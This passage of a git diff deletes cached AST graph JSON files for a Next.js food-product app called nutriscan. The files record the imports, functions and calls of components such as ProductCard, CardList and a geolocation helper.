"D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "landing_persuasivecta_persuasivecta", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "landing_persuasivecta_arrowright", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L132", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_persuasivecta_persuasivecta", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L10"}, {"caller_nid": "landing_persuasivecta_persuasivecta", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L11"}, {"caller_nid": "landing_persuasivecta_persuasivecta", "callee": "useSearchLogic", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L12"}, {"caller_nid": "landing_persuasivecta_persuasivecta", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L102"}, {"caller_nid": "landing_persuasivecta_persuasivecta", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L115"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/71e5da438e991da457988c5f127b63a554709d9fe77c3712daf3cb9d6f708e93.json b/graphify-out/cache/ast/71e5da438e991da457988c5f127b63a554709d9fe77c3712daf3cb9d6f708e93.json
deleted file mode 100644
index 30d2d01..0000000
--- a/graphify-out/cache/ast/71e5da438e991da457988c5f127b63a554709d9fe77c3712daf3cb9d6f708e93.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_cardlist_tsx", "label": "CardList.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L1"}, {"id": "components_cardlist_produto", "label": "Produto", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L4"}, {"id": "components_cardlist_cardlistprops", "label": "CardListProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L15"}, {"id": "components_cardlist_cardlist", "label": "CardList()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L19"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "app_actions_listarprodutos", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "d_documents_github_nutriscan_app_components_listaproductcard_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "components_listaproductcard_listaproductcard", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "components_cardlist_produto", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "components_cardlist_cardlistprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cardlist_tsx", "target": "components_cardlist_cardlist", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L19", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_cardlist_cardlist", "callee": "listarProdutos", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L20"}, {"caller_nid": "components_cardlist_cardlist", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L30"}, {"caller_nid": "components_cardlist_cardlist", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L31"}, {"caller_nid": "components_cardlist_cardlist", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L38"}, {"caller_nid": "components_cardlist_cardlist", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CardList.tsx", "source_location": "L54"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/728e4838f83ef3b2104e81d1cc2ddebb3c872e2ac37bb723f31acbf8ffc9ae9a.json b/graphify-out/cache/ast/728e4838f83ef3b2104e81d1cc2ddebb3c872e2ac37bb723f31acbf8ffc9ae9a.json
deleted file mode 100644
index bfffa30..0000000
--- a/graphify-out/cache/ast/728e4838f83ef3b2104e81d1cc2ddebb3c872e2ac37bb723f31acbf8ffc9ae9a.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_geolocation_ts", "label": "geolocation.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L1"}, {"id": "lib_geolocation_countryinfo", "label": "CountryInfo", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L6"}, {"id": "lib_geolocation_iscachevalid", "label": "isCacheValid()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L18"}, {"id": "lib_geolocation_getcachedcountry", "label": "getCachedCountry()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L35"}, {"id": "lib_geolocation_savetocache", "label": "saveToCache()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L52"}, {"id": "lib_geolocation_detectusercountry", "label": "detectUserCountry()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L74"}, {"id": "lib_geolocation_clearcountrycache", "label": "clearCountryCache()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L115"}, {"id": "lib_geolocation_getcurrentcountry", "label": "getCurrentCountry()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L124"}, {"id": "lib_geolocation_isbrazil", "label": "isBrazil()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L134"}, {"id": "lib_geolocation_getcountrycodeforapi", "label": "getCountryCodeForAPI()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L142"}], "edges": [{"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_countryinfo", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_iscachevalid", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_getcachedcountry", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_savetocache", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L52", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_detectusercountry", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L74", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_clearcountrycache", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L115", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_getcurrentcountry", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L124", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_isbrazil", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L134", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_geolocation_ts", "target": "lib_geolocation_getcountrycodeforapi", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L142", "weight": 1.0}, {"source": "lib_geolocation_detectusercountry", "target": "lib_geolocation_iscachevalid", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L78", "weight": 1.0}, {"source": "lib_geolocation_detectusercountry", "target": "lib_geolocation_getcachedcountry", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L79", "weight": 1.0}, {"source": "lib_geolocation_detectusercountry", "target": "lib_geolocation_savetocache", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L100", "weight": 1.0}, {"source": "lib_geolocation_getcurrentcountry", "target": "lib_geolocation_iscachevalid", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L125", "weight": 1.0}, {"source": "lib_geolocation_getcurrentcountry", "target": "lib_geolocation_getcachedcountry", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L126", "weight": 1.0}, {"source": "lib_geolocation_isbrazil", "target": "lib_geolocation_getcurrentcountry", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L135", "weight": 1.0}, {"source": "lib_geolocation_getcountrycodeforapi", "target": "lib_geolocation_getcurrentcountry", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L143", "weight": 1.0}], "raw_calls": [{"caller_nid": "lib_geolocation_iscachevalid", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L22"}, {"caller_nid": "lib_geolocation_iscachevalid", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L25"}, {"caller_nid": "lib_geolocation_iscachevalid", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L26"}, {"caller_nid": "lib_geolocation_getcachedcountry", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L39"}, {"caller_nid": "lib_geolocation_getcachedcountry", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L42"}, {"caller_nid": "lib_geolocation_savetocache", "callee": "setItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L56"}, {"caller_nid": "lib_geolocation_savetocache", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L58"}, {"caller_nid": "lib_geolocation_savetocache", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L60"}, {"caller_nid": "lib_geolocation_savetocache", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L64"}, {"caller_nid": "lib_geolocation_detectusercountry", "callee": "fetch", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L87"}, {"caller_nid": "lib_geolocation_detectusercountry", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L93"}, {"caller_nid": "lib_geolocation_detectusercountry", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L103"}, {"caller_nid": "lib_geolocation_clearcountrycache", "callee": "removeItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\geolocation.ts", "source_location": "L117"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/7330e1ccc9ae563940319f27aeb3a8f2614ce59789f4ad12caa51513c7b997f5.json b/graphify-out/cache/ast/7330e1ccc9ae563940319f27aeb3a8f2614ce59789f4ad12caa51513c7b997f5.json
deleted file mode 100644
index 4acca09..0000000
--- a/graphify-out/cache/ast/7330e1ccc9ae563940319f27aeb3a8f2614ce59789f4ad12caa51513c7b997f5.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_productcard_tsx", "label": "ProductCard.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L1"}, {"id": "components_productcard_productcardprops", "label": "ProductCardProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L10"}, {"id": "components_productcard_nutri_grade_class", "label": "NUTRI_GRADE_CLASS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L18"}, {"id": "components_productcard_getverdict", "label": "getVerdict()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L22"}, {"id": "components_productcard_getverdictdotbg", "label": "getVerdictDotBg()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L28"}, {"id": "components_productcard_getimageurl", "label": "getImageUrl()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L34"}, {"id": "components_productcard_nutriletter", "label": "NutriLetter()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L45"}, {"id": "components_productcard_verdictdot", "label": "VerdictDot()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L60"}, {"id": "components_productcard_mobilecard", "label": "MobileCard()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L75"}, {"id": "components_productcard_defaultcard", "label": "DefaultCard()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L152"}, {"id": "components_productcard_productcard", "label": "ProductCard()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L289"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "link", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "d_documents_github_nutriscan_components_optimizedimage_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_optimizedimage_optimizedimage", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "lib_openfoodfactsapi_formatnutritiondata", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_productcardprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_nutri_grade_class", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_getverdict", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L22", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_getverdictdotbg", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L28", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_getimageurl", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L34", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_nutriletter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L45", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_verdictdot", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L60", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_mobilecard", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L75", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_defaultcard", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L152", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_productcard_tsx", "target": "components_productcard_productcard", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L289", "weight": 1.0}, {"source": "components_productcard_verdictdot", "target": "components_productcard_getverdict", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L61", "weight": 1.0}, {"source": "components_productcard_verdictdot", "target": "components_productcard_getverdictdotbg", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L62", "weight": 1.0}, {"source": "components_productcard_mobilecard", "target": "components_productcard_getimageurl", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L76", "weight": 1.0}, {"source": "components_productcard_defaultcard", "target": "components_productcard_getimageurl", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L153", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_productcard_nutriletter", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L46"}, {"caller_nid": "components_productcard_nutriletter", "callee": "round", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L51"}, {"caller_nid": "components_productcard_nutriletter", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L52"}, {"caller_nid": "components_productcard_nutriletter", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L54"}, {"caller_nid": "components_productcard_verdictdot", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L64"}, {"caller_nid": "components_productcard_verdictdot", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L65"}, {"caller_nid": "components_productcard_mobilecard", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L77"}, {"caller_nid": "components_productcard_mobilecard", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L80"}, {"caller_nid": "components_productcard_mobilecard", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L89"}, {"caller_nid": "components_productcard_defaultcard", "callee": "formatNutritionData", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L154"}, {"caller_nid": "components_productcard_defaultcard", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L155"}, {"caller_nid": "components_productcard_defaultcard", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L158"}, {"caller_nid": "components_productcard_defaultcard", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L167"}, {"caller_nid": "components_productcard_defaultcard", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L233"}, {"caller_nid": "components_productcard_defaultcard", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductCard.tsx", "source_location": "L271"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/74f7b6795bf956eff9c23ff5db920f5c9eb2489a6168dba7c01e470c302621f2.json b/graphify-out/cache/ast/74f7b6795bf956eff9c23ff5db920f5c9eb2489a6168dba7c01e470c302621f2.json
deleted file mode 100644
index 5f5246c..0000000
--- a/graphify-out/cache/ast/74f7b6795bf956eff9c23ff5db920f5c9eb2489a6168dba7c01e470c302621f2.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "label": "use-search-logic.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L1"}, {"id": "hooks_use_search_logic_searchtype", "label": "SearchType", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L7"}, {"id": "hooks_use_search_logic_usesearchlogic", "label": "useSearchLogic()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L9"}], "edges": [{"source": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "target": "lib_openfoodfactsapi_detectsearchtype", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "target": "lib_openfoodfactsapi_isvalidbarcode", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "target": "hooks_use_search_logic_searchtype", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "target": "hooks_use_search_logic_usesearchlogic", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L9", "weight": 1.0}], "raw_calls": [{"caller_nid": "hooks_use_search_logic_usesearchlogic", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-search-logic.ts", "source_location": "L10"}, {"caller_nid": "hooks_use_search_logic_usesearchlogic", "callee": "useState", "is_member_call": false, 